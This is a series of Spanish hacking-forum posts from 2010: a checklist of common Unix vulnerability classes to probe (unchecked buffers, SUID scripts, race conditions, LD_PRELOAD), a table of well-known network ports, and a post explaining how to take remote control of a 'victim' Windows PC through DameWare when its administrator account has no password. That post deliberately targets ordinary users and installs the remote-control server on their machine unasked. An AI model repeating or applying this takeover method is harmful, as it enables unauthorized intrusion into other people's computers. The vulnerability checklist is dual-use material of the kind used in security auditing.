El entendimiento de la  composicion del buffer y el registro en el ambiente en
cuestion, y la entrada esperada se entiende que dara los resultados esperados.
2)  El conjunto de herramientas Mothra, in Proceedings of the 22nd Hawaii International
Conference on Systems and Software, pages 275-284, Kona, HI, January '89
3)  Extending Mutation Testing to Find Environmental Bugs, by Eugene H.Spafford,
Software Practice and Experience, 20(2):181-189, Feb '90
4)  A paper by IBM was mentioned that was submitted to USENIX a few years ago.
(Anyone have a citation?).

Defectos especificos que chequear
===================================
1) Buscar rutinas que no hagan chequeos al limite, o verifiquen entradas.
Ej:la familia de rutinas gets(), donde es posible sobreescribir el limite del buffer
(sprintf()?, gets(), etc.)tambien: strcpy()

2) Las rutinas SUID/SGID escritas en uno de los shells, en vez de C o PERL

3) Las rutinas SUID/SGID escritas en PERL que no usan el programa "taintperl"

4) Las rutinas SUID/SGID que usan las llamadas system(),popen(), execlp(), o execvp()
para ejecutar otra cosa.

5) Cualquier programa que use nombres relativos de ruta (path) dentro del programa

6) El uso de nombres relativos de ruta para especificar librerias vinculadas dinamicamente.

7) Rutinas que no chequean codigos de error devueltos por llamadas del sistema
(Ej: fork(2), suid(2),setuid(), como en el famoso bug rcp)

Cool Los agujeros se pueden encontrar a menudo en codigo que:
  A)  es portado a un nuevo entorno
  B)  recibe entradas inesperadas
  C)  interactua con otro software local
  D)  accede a archivos de sistema como passwd, L.sys, etc
  E)  lee entradas de directorios o archivos publicos escribibles
  F)  programas de diagnostico que tipicamente no estan a prueba de usuarios

9) Testear codigo para entradas inesperadas. Hay disponibles herramientas de testeo de
proteccion, flujo de datos, y muacion.

10) Buscar en los textos man, y guias de usuario las advertencias en contra de las
X, y tratar variaciones de X. Hacer lo mismo con la seccion de bugs.

11) Buscar comandos o funciones raramente usados o inusuales. En particular seria util
buscar argumentos indocumentados. Buscar flags de distribuciones anteriores, o en
versiones de otros sistemas operativos. Chequear las opciones que otros programas
podrian usar. Por ejemplo, Telnet usa la opcion -h para conectarse...

12) Buscar condiciones raciales.

13) Fallos del software para verificar que realmente esta comunicandose con el software
o modulo de hardware al que quiere acceder.

14)  Falta de deteccion de errores para resetear los mecanismos de proteccion
siguientes al error.

15)  Implementacion pobre que da como resultado, por ejemplo, codigos de condicion
testeados inapropiadamente

16)  Confianza inplicita: La rutina B asume que los parametros de la rutina A son
correctos por que la rutina A es un proceso de sistema

17)  El sistema almacena sus datos o referencia parametros de usuario en el espacio
disponible de las direcciones de usuarios

18)  Enterrar procesos de comunicación: condiciones de retorno  (passwd OK, illegal
parameter, segment error, etc) pueden proporcionar una brecha significativa cuando
son combiandos con el paso 17

19)  Los parametros de usuario pueden no estar adecuadamente chequeados.

20)  Direcciones que sobrepasan o se refieren a areas del sistema

21)  Las comprobaciones de condicion de codigo pueden omitirse

22)  Fallo al anticiparse a parametros inusuales o extraordinarios

23)  Buscar niveles del sistema donde los modulos alli involucrados fueron escritos
por programadores diferentes, o grupo de programadores - se suelen encontrar agujeros.

24)  Registros que apuntan a la localizacion de valores de parametros en vez de pasar
el parametro el mismo.

25)  Cualquier programa ejecutandose con privilegios de sistema (a muchos programas se
les da UID 0, para facilitar el acceso a ciertas tablas, etc)

26)  Archivos temporales, buffers leibles por grupos o por todo el mundo

27)  Carencia de valores de "umbral", y carencia de notificacion una vez se han
accionado estos.

28)  Cambiar parametros de areas criticas del sistema antes de su ejecucion.

29)  Comprobacion inadecuada de los limites al compilar, por ejemplo, un usuario puede
ser capaz de ejecutar codigo maquina disfrazado como datos en un area de datos
(si las areas de texto y datos estan compartidas)

30)  Manipular incorrectamente interrupciones asincronas generadas por usuarios.
Usuarios interrumpiendo un proceso, realizando una operación, o bien volviendo para
continuar el proceso o comenzar otro dejaran a menudo el sistema en un estado de
desproteccion. Archivos parcialmente escritos se dejan abiertos, escritura incorrecta
de mensajes de infracciones de proteccion, puesta incorrecta de bits de proteccion, etc,
suelen ocurrir.

31)  Codigo que usa fopen(3) sin poner la umask. (ej: at(1), etc.). En general, codigo
que no resetea el UID real y efectivo antes de bifurcarse

32)  Tracear es muy util para ayudarte a descubrir que llamadas de sistema usa un programa

33) Escanea los sistemas de archivos /usr/local de cerca. Muchos administradores
instalaran software de la red. A menudo encontraras tcpdump, top, nfswatch,... suid
root por su facilidad de uso.

34) Comprobar que los programas suid fueron los que originalmente se pusieron en el
sistema. Algunas veces los administradores reemplazaran el password por uno menos
seguro que el de las distribuciones.

35) Buscar programas que se usaran para instalar software o modulos de kernel

36) Programas enlazados dinamicamente en general. Recuerda LD_PRELOAD, creo que esa
era la variable.

37) La programacion de canales de I/O (Entrada/Salida) es es un blanco primario.
Busca errores logicos, inconsistencias, y omisiones.

38) Ver si es posible que un programa de canales I/O pueda automodificarse, hacer un
loop, y asi ejecutar el nuevo codigo modificado.

39) Si los canales I/O actuan como procesadores independientes tendran acceso ilimitado
a la memoria, y asi el codigo de sistema podria ser modificado en memoria previamene
a su ejecucion.

40) Buscar bugs que requieran errores en multiples partes del software,ej: di por
ejemplo que el programa "a" puede usarse para cambiar el fichero de configuracion /etc/a ,
ahora el programa "b" asume que la informacion de a es correcta y esto lleva a resultados
inesperados (solo mira cuantos programas confian en el fichero /etc/utmp)

41)  Cualquier programa, especialmente los suid/sgid, que permites "escapadas" a shell.

Saludos!

            ANTRAX
#5204
Hacking / Hackeando solo con la ip
Febrero 18, 2010, 11:59:11 AM
Hackeando solo con la ip

Cosas necesarias:

1.- Dameware Mini remote control (www.dameware.com)
2.- Una IP


Una vez tenemos instalado el programa, y tenemos la ip de nuestra victima, tendremos que tener en cuenta una cosa:

Que nuestra victima use Windows XP/2000/NT

Y que tenga el usuario administrador sin password.. si nos paramos a pensar... quien tiene el administrador con password? usuarios avanzados... y quien lo tiene sin pass? usuarios normales... a quien atacamos? usuarios normales... jajaj

Bien colocamos la ip en "HOST:" y dejamos el sistema de aunteficacion tal como esta si la victima usa XP, sino cambiamos a la otra opcion. Como saber si la victima usa XP? pues pasandole un scanner buscad x ahi.. scaneres d estos simples. Bueno le damos a conectar.... si todo va bien pondra que se ha conectado y preguntara.

El servidor no esta intalado en la maquina remota... Desea instalarlo? le damos a Yes y empezara a instalarle todo remotamente el servidor. y lo ejecutara cuando esto pase, tendremos en nuestra pantalla su escritorio y controlaremos su mouse, teclado... etc.. igual que VNC pero sin tener acceso fisico al PC.
#5205
Hacking / Puertos Basicos
Febrero 18, 2010, 11:47:50 AM
Aquí todos los puertos mas comunes.. si esto no va aquí que lo muevan

Puerto # / Capa   Nombre   Comentario
1    tcpmux    Multiplexador de servicios de puertos TCP
5    rje    Entrada de trabajo remota
7    echo    Servicio echo
9    discard    Servicio nulo para la evaluación de conexiones
11    systat    Servicio de estado del sistema para listar los puertos conectados
13    daytime    Envía la fecha y la hora al puerto solicitante
17    qotd    Envía la cita del día al host conectado
18    msp    Protocolo de envío de mensajes
19    chargen    Servicio de generación de caracteres; envía flujos infinitos de caracteres
20    ftp-data    Puerto de datos FTP
21    ftp    Puerto del Protocolo de transferencia de archivos (FTP); algunas veces utilizado por el Protocolo de servicio de archivos (FSP).
22    ssh    Servicio de shell seguro (SSH)
23    telnet    El servicio Telnet
25    smtp    Protocolo simple de transferencia de correo (SMTP)
37    time    Protocolo de hora (Time Protocol)
39    rlp    Protocolo de ubicación de recursos
42    nameserver    Servicio de nombres de Internet
43    nicname    Servicio de directorio WHOIS
49    tacacs    Terminal Access Controller Access Control System para el acceso y autenticación basado en TCP/IP
50    re-mail-ck    Protocolo de verificación de correo remoto
53    domain    Servicios de nombres de dominio (tales como BIND)
63    whois++    WHOIS++, Servicios extendidos WHOIS
67    bootps    Servicios del Protocolo Bootstrap o de inicio (BOOTP); también usado por los servicios del protocolo de configuración dinámica de host (DHCP).
68    bootpc    Cliente bootstrap (BOOTP); también usado por el protocolo de configuración dinámica de host (DHCP)
69    tftp    Protocolo de transferencia de archivos triviales (TFTP)
70    gopher    Búsqueda y recuperación de documentos de Internet Gopher
71    netrjs-1    Servicio de trabajos remotos
72    netrjs-2    Servicio de trabajos remotos
73    netrjs-3    Servicio de trabajos remotos
73    netrjs-4    Servicio de trabajos remotos
79    finger    Servicio Finger para información de contacto de usuarios
80    http    Protocolo de transferencia de hipertexto (HTTP) para los servicios del World Wide Web (WWW)
88    kerberos    Sistema de autenticación de redes Kerberos
95    supdup    Extensión del protocolo Telnet
101    hostname    Servicios de nombres de host en máquinas SRI-NIC
102/tcp    iso-tsap    Aplicaciones de redes del Entorno de desarrollo ISO (ISODE)
105    csnet-ns    Servidor de nombres de mailbox; también usado por el servidor de nombres CSO
107    rtelnet    Telnet remoto
109    pop2    Protocolo Post Office versión 2
110    pop3    Protocolo Post Office versión 3
111    sunrpc    Protocolo de Llamadas de procedimientos remotos (RPC) para la ejecución de comandos remotos, utilizado por Sistemas de archivos de red (Network Filesystem, NFS)
113    auth    Protocolos de autenticación y Ident
115    sftp    Servicios del protocolo de transferencia de archivos seguros (SFTP)
117    uucp-path    Servicios de rutas de Unix-to-Unix Copy Protocol (UUCP)
119    nntp    Protocolo de transferencia para los grupos de noticias de red (NNTP) para el sistema de discusiones USENET
123    ntp    Protocolo de tiempo de red (NTP)
137    netbios-ns    Servicios de nombres NETBIOS utilizados en Red Hat Enterprise Linux por Samba
138    netbios-dgm    Servicios de datagramas NETBIOS utilizados en Red Hat Enterprise Linux por Samba
139    netbios-ssn    Servicios de sesión NETBIOS utilizados en Red Hat Enterprise Linux por Samba
143    imap    Protocolo de acceso a mensajes de Internet (IMAP)
161    snmp    Protocolo simple de administración de redes (SNMP)
162    snmptrap    Traps para SNMP
163    cmip-man    Protocolo común de administración de la información (CMIP)
164    cmip-agent    Protocolo común de administración de la información (CMIP)
174    mailq    Cola de transporte de correos electrónicos MAILQ
177    xdmcp    Protocolo de control del gestor de pantallas X (XDMCP)
178    nextstep    Servidor de ventanas NeXTStep
179    bgp    Border Gateway Protocol
191    prospero    Servicios de sistemas de archivos distribuidos Prospero
194    irc    Internet Relay Chat (IRC)
199    smux    SNMP UNIX Multiplexer
201    at-rtmp    Enrutamiento AppleTalk
202    at-nbp    Enlace de nombres AppleTalk
204    at-echo    Echo AppleTalk
206    at-zis    Zona de información AppleTalk
209    qmtp    Protocolo de transferencia rápida de correo (QMTP)
210    z39.50    Base de datos NISO Z39.50
213    ipx    El protocolo de intercambio de paquetes entre redes (IPX), es un protocolo de datagramas usado comúnmente en ambientes Novell Netware
220    imap3    Protocolo de acceso a mensajes de Internet versión 3
245    link    Servicio LINK / 3-DNS iQuery
347    fatserv    Servicio de administración de cintas y archivos FATMEN
363    rsvp_tunnel    Túnel RSVP
369    rpc2portmap    Portmapper del sistema de archivos Coda
370    codaauth2    Servicios de autenticación del sistema de archivos Coda
372    ulistproc    UNIX LISTSERV
389    ldap    Protocolo Lightweight de acceso a directorios (LDAP)
427    svrloc    Protocolo de ubicación de servicios (SLP)
434    mobileip-agent    Agente móvil del Protocolo Internet
435    mobilip-mn    Gestor móvil del Protocolo Internet (IP)
443    https    Protocolo de transferencia de hipertexto seguro (HTTP)
444    snpp    Protocolo simple de Network Paging
445    microsoft-ds    Bloque de mensajes de servidor (Server Message Block, SMB) sobre TCP/IP
464    kpasswd    Servicios Kerberos de cambio de contraseñas y llaves
468    puertos    Protocolo de gestión de llaves de sesiones Photuris
487    saft    Protocolo simple de transferencia de archivos asíncrono (SAFT)
488    gss-http    Servicios de seguridad genérica (GSS) para HTTP
496    pim-rp-disc    Punto de descubrimiento rendezvous (RP-DISC) para servicios del protocolo de multidifusión independiente (PIM)
500    isakmp    Protocolo de gestión de llaves y asociación de seguridad de Internet, Internet Security Association and Key Management Protocol (ISAKMP)
535    iiop    Internet Inter-Orb Protocol (IIOP)
538    gdomap    GNUstep Distributed Objects Mapper (GDOMAP)
546    dhcpv6-client    Cliente DHCP, Protocolo de configuración dinámica de host, versión 6
547    dhcpv6-server    Servicio DHCP, protocolo de configuración dinámica de host, versión 6
554    puertos    Protocolo de control de flujo de media en tiempo real (RTSP)
563    nntps    Protocolo de transferencia para los grupos de noticias de red sobre Secure Sockets Layer (NNTPS)
565    whoami    Listado de ID de usuarios de whoami
587    submission    Agente de entrega de mensajes de correo (MSA)
610    npmp-local    Protocolo de gestión de periféricos de red (NPMP) local / Sistema de colas distribuidas (DQS)
611    npmp-gui    GUI del protocolo de gestión de periféricos de red (NPMP) / Sistema de colas distribuidas (DQS)
612    hmmp-ind    HyperMedia Management Protocol (HMMP) Indication / DQS
631    ipp    Protocolo de impresión de Internet (IPP)
636    ldaps    Protocolo Lightweight de acceso a directorios sobre capas de enchufes seguras (LDAPS)
674    acap    Protocolo de configuración de acceso a la aplicación (ACAP)
694    ha-cluster    Servicios de latidos (heartbeat) para Clusters de alta disponibilidad
749    kerberos-adm    Administración de base de datos Kerberos versión 5 (v5) 'kadmin'
750    kerberos-iv    Servicios Kerberos versión 4 (v4)
765    webster    Diccionario de red
767    phonebook    Libreta de teléfonos de red
873    rsync    Servicios de transferencia de archivos rsync
992    telnets    Telnet sobre Capas de enchufes seguras (TelnetS)
993    imaps    Protocolo de acceso a mensajes de Internet sobre Capas de enchufes seguras (IMAPS)
994    ircs    Internet Relay Chat sobre Capas de enchufes seguras (IRCS)
995    pop3s    Protocolo de oficina de correos versión 3 sobre Capa de enchufe segura (POP3S)


Puerto # / Capa   Nombre   Comentario
512/tcp    exec    Autenticación para la ejecución de procesos remotos
512/udp    biff [comsat]    Cliente de correo (biff) asíncrono y servicio (comsat)
513/tcp    login    Inicio de sesión remota (rlogin)
513/udp    who [whod]    demonio de conexión de usuarios whod
514/tcp    shell [cmd]    indicador de comandos shell remoto (rshell) y copy (rcp) remoto sin inicio de sesión
514/udp    syslog    Servicio de conexión al sistema UNIX
515    printer [spooler]    Spooler de impresión en línea (lpr)
517/udp    talk    Servicio y cliente de llamada remota Talk
518/udp    ntalk    Servicio y cliente de llamada remota de red, Network talk (ntalk)
519    utime [unixtime]    Protocolo de tiempo UNIX (utime)
520/tcp    efs    Servidor de nombres de archivos extendido (EFS)
520/udp    router [route, routed]    Protocolo de información de enrutamiento (RIP)
521    ripng    Protocolo de información de enrutamiento para el Protocolo Internet versión 6 (IPv6)
525    timed [timeserver]    Demonio de tiempo (timed)
526/tcp    tempo [newdate]    Tempo
530/tcp    courier [rpc]    Protocolo de Llamadas de procedimiento remotas (RPC)
531/tcp    conference [chat]    Internet Relay Chat
532    netnews    Servicio de noticias Netnews
533/udp    netwall    Netwall para difusiones de emergencia
540/tcp    uucp [uucpd]    Servicios de copia UNIX-to-UNIX
543/tcp    klogin    Inicio de sesión remota Kerberos versión 5 (v5)
544/tcp    kshell    Intérprete de comandos Kerberos versión 5 (v5)
548    afpovertcp    Appletalk Filing Protocol (AFP) sobre el Protocolo de control de transmisión (TCP)
556    remotefs [rfs_server, rfs]    Sistema de archivos Brunhoff (RFS)


Puerto # / Capa   Nombre   Comentario
1080    socks    Servicios proxy de aplicaciones de red SOCKS
1236    bvcontrol [rmtcfg]    Servidor de configuración remota para switches de red Garcilis Packeten[a]
1300    h323hostcallsc    Telecomunicación de llamadas a host seguras H.323
1433    ms-sql-s    Microsoft SQL Server
1434    ms-sql-m    Microsoft SQL Monitor
1494    ica    Cliente Citrix ICA
1512    wins    Microsoft Windows Internet Name Server
1524    ingreslock    Servicios de bloqueo de sistemas de administración de bases de datos Ingres (DBMS)
1525    prospero-np    Prospero sin privilegios
1645    datametrics [old-radius]    Entrada Datametrics / old radius
1646    sa-msg-port [oldradacct]    Entrada sa-msg-port / old radacct
1649    kermit    Servicio de administración y transferencia de archivos Kermit
1701    l2tp [l2f]    Protocolo de túnel de capa dos (LT2P) / Reenvío de capa dos (L2F)
1718    h323gatedisc    Descubrimiento de portero de telecomunicaciones H.323
1719    h323gatestat    Estado del portero de telecomunicaciones H.323
1720    h323hostcall    Configuración de llamadas a host H.323
1758    tftp-mcast    Multidifusión FTP Trivial
1759/udp    mtftp    Multidifusión FTP Trivial (MTFTP)
1789    hello    protocolo de comunicación de enrutadores Hello
1812    radius    Servicios de contabilidad y autenticación de marcado Radius
1813    radius-acct    Contabilidad Radius
1911    mtp    Protocolo de transporte multimedia Starlight Networks (MTP)
1985    hsrp    Protocolo de enrutador Cisco Hot Standby
1986    licensedaemon    Demonio de gestión de licencias Cisco
1997    gdp-port    Protocolo de descubrimiento de puertas de enlace Cisco (GDP)
2049    nfs [nfsd]    Sistema de archivos de red (NFS)
2102    zephyr-srv    Servidor de mensajería distribuido Zephyr
2103    zephyr-clt    Cliente Zephyr
2104    zephyr-hm    Administrador de host Zephyr
2401    cvspserver    Operaciones cliente/servidor del Sistema de versiones concurrente (CVS)
2430/tcp    venus    Administrador de caché Venus para el sistema de archivos Coda (puerto codacon)
2430/udp    venus    Administrador de caché Venus para el sistema de archivos Coda (callback/wbc interface)
2431/tcp    venus-se    Efectos secundarios para el protocolo de control de transmisión Venus (TCP)
2431/udp    venus-se    Efectos secundarios del Protocolo de datagrama de usuario Venus (UDP)
2432/udp    codasrv    Puerto del servidor del sistema de archivos Coda
2433/tcp    codasrv-se    Efectos secundarios TCP del sistema de archivos Coda
2433/udp    codasrv-se    Efectos secundarios UDP SFTP del sistema de archivos Coda
2600    hpstgmgr [zebrasrv]    Enrutamiento Zebra
2601    discp-client [zebra]    Cliente discp; indicador de comandos Zebra integrado
2602    discp-server [ripd]    Servidor discp; demonio del Protocolo de información de enrutamiento (ripd)
2603    servicemeter [ripngd]    Medidor de servicios; demonio RIP para IPv6
2604    nsc-ccs [ospfd]    NSC CCS; demonio Open Shortest Path First (ospfd)
2605    nsc-posa    NSC POSA; demonio del protocolo Border Gateway (bgpd)
2606    netmon [ospf6d]    Dell Netmon; OSPF para el demonio IPv6 (ospf6d)
2809    corbaloc    Localizador de servicio de nombres Common Object Request Broker Architecture (CORBA)
3130    icpv2    Protocolo caché Internet versión 2 (v2); utilizado por el servidor de caché Squid Proxy
3306    mysql    Servicio de base de datos MySQL
3346    trnsprntproxy    Proxy transparente
4011    pxe    Servicio del Entorno de pre-ejecución (PXE)
4321    rwhois    Servicio Whois (rwhois) remoto
4444    krb524    Traductor de tickets Kerberos versión 5 (v5) a la versión 4 (v4)
5002    rfe    Sistema de difusión de audio Radio Free Ethernet (RFE)
5308    cfengine    Máquina de configuración (Cfengine)
5999    cvsup [CVSup]    Herramienta de transferencia de archivos y actualización CVSup
6000/tcp    x11 [X]    Servicios del Sistema X Window
7000    afs3-fileserver    Servidor de archivos Andrew File System (AFS)
7001    afs3-callback    Puerto AFS para las llamadas al gestor de caché
7002    afs3-prserver    Base de datos de usuarios y grupos AFS
7003    afs3-vlserver    Base de datos AFS de ubicación de volumen
7004    afs3-kaserver    Servicio de autenticación AFS Kerberos
7005    afs3-volser    Servidor de administración de volumen AFS
7006    afs3-errors    Servicio de interpretación de errores AFS
7007    afs3-bos    Proceso supervisor básico AFS
7008    afs3-update    Actualizador servidor-a-servidor AFS
7009    afs3-rmtsys    Servicio gestor de caché remoto AFS
9876    sd    Sesión Director para conferencias de multidifusión IP
10080    amanda    Servicios de respaldo Advanced Maryland Automatic Network Disk Archiver (Amanda)
11371    pgpkeyserver    Servidor de llaves públicas Pretty Good Privacy (PGP) / GNU Privacy Guard (GPG)
11720    h323callsigalt    Señal alterna de llamada H.323
13720    bprd    Demonio de peticiones Veritas NetBackup (bprd)
13721    bpdbm    Administrador de bases de datos Veritas NetBackup (bpdbm)
13722    bpjava-msvc    Protocolo Veritas NetBackup Java / Protocolo Microsoft Visual C++ (MSVC)
13724    vnetd    Utilidad de redes Veritas
13782    bpcd    Veritas NetBackup
13783    vopied    Demonio de autenticación Veritas VOPIE
22273    wnn6 [wnn4]    Sistema de conversión Kana/Kanji[c]
26000    quake    Servidores de juegos de múltiples jugadores Quake (y relacionados)
26208    wnn6-ds    Servidor Wnn6 Kana/Kanji
33434    traceroute    Herramienta de localización de rutas de red Traceroute

Puerto # / Capa   Nombre   Comentario
1/ddp    rtmp    Protocolo de administración de tablas de enrutamiento
2/ddp    nbp    Protocolo de enlace de nombres
4/ddp    echo    Protocolo Echo de AppleTalk
6/ddp    zip    Protocolo de información de zona

Puerto # / Capa   Nombre   Comentario
751    kerberos_master    Autenticación Kerberos
752    passwd_server    Servidor de contraseñas Kerberos (kpasswd)
754    krb5_prop    Propagación de esclavos Kerberos v5
760    krbupdate [kreg]    Registro Kerberos
1109    kpop    Protocolo de oficina de correo Kerberos (KPOP)
2053    knetd    De-multiplexor Kerberos
2105    eklogin    Inicio de sesión remota encriptada Kerberos v5 (rlogin)

Puerto # / Capa   Nombre   Comentario
15/tcp    netstat    Network Status (netstat)
98/tcp    linuxconf    Herramienta de administración de Linux Linuxconf
106    poppassd    Demonio de cambio de contraseñas del protocolo de oficina de correos (POPPASSD)
465/tcp    smtps    Protocolo simple de transferencia de correo sobre Capas Segura (SMTPS)
616/tcp    gii    Interfaz interactiva Gated (demonio de enrutamiento)
808    omirr [omirrd]    Servicios de espejos de archivos Online Mirror (Omirr)
871/tcp    supfileserv    Servidor del Protocolo de actualización de software (SUP)
901/tcp    swat    Herramienta de administración Web de Samba (SWAT)
953    rndc    Herramienta de configuración remota del Berkeley Internet Name Domain versión 9 (BIND 9)
1127/tcp    supfiledbg    Depuración del Protocolo de actualización de software (SUP)
1178/tcp    skkserv    Servidor de entrada de Japonés Simple Kana to Kanji (SKK)
1313/tcp    xtel    Sistema de información de texto French Minitel
1529/tcp    support [prmsd, gnatsd]    Sistema de seguimiento de errores GNATS
2003/tcp    cfinger    GNU Finger
2150    ninstall    Servicio de instalación de redes
2988    afbackup    Sistema de respaldo cliente-servidor afbackup
3128/tcp    squid    Caché proxy Web Squid
3455    prsvp    Puerto RSVP
5432    postgres    Base de datos PostgreSQL
4557/tcp    fax    Servicio de transmisión de FAX (servicio antiguo)
4559/tcp    hylafax    Protocolo cliente-servidor HylaFAX (nuevo servicio)
5232    sgi-dgl    Biblioteca de gráficos distribuidos SGI
5354    noclog    Demonio de conexión del centro de operaciones de redes NOCOL (noclogd)
5355    hostmon    Monitoreo de host del centro de operaciones de redes NOCOL
5680/tcp    canna    Interfaz de entrada de caracteres Canna Japanese
6010/tcp    x11-ssh-offset    Offset del reenvío X11 de Shell seguro (SSH)
6667    ircd    Demonio del Internet Relay Chat (ircd)
7100/tcp    xfs    Servidor de fuentes tipográficas de X (XFS)
7666/tcp    tircproxy    Servicio proxy Tircproxy IRC
8008    http-alt    Protocolo de transferencia de hipertexto (HTTP) alterno
8080    webcache    Servicio de caché del World Wide Web (WWW)
8081    tproxy    Proxy transparente
9100/tcp    jetdirect [laserjet, hplj]    Servicio de impresión de redes Hewlett-Packard (HP) JetDirect
9359    mandelspawn [mandelbrot]    Programa de spawning Parallel Mandelbrot para el Sistema X Window
10081    kamanda    Servicio de respaldo Amanda sobre Kerberos
10082/tcp    amandaidx    Servidor de índices Amanda
10083/tcp    amidxtape    Servidor de cintas Amanda
20011    isdnlog    Sistema de inicio de sesión de Red digital de servicios integrados (RDSI)
20012    vboxd    Demonio RDSI voice box (vboxd)
22305/tcp    wnn4_Kr    Sistema de entrada kWnn Korean
22289/tcp    wnn4_Cn    Sistema de entradas cWnn Chinese
22321/tcp    wnn4_Tw    Sistema de entradas tWnn Chinese (Taiwan)
24554    binkp    Demonio de correo Binkley TCP/IP Fidonet
27374    asp    Protocolo de búsqueda de direcciones
60177    tfido    Servicio de correo compatible Ifmail FidoNet
60179    fido    Red de noticias y correo electrónico FidoNet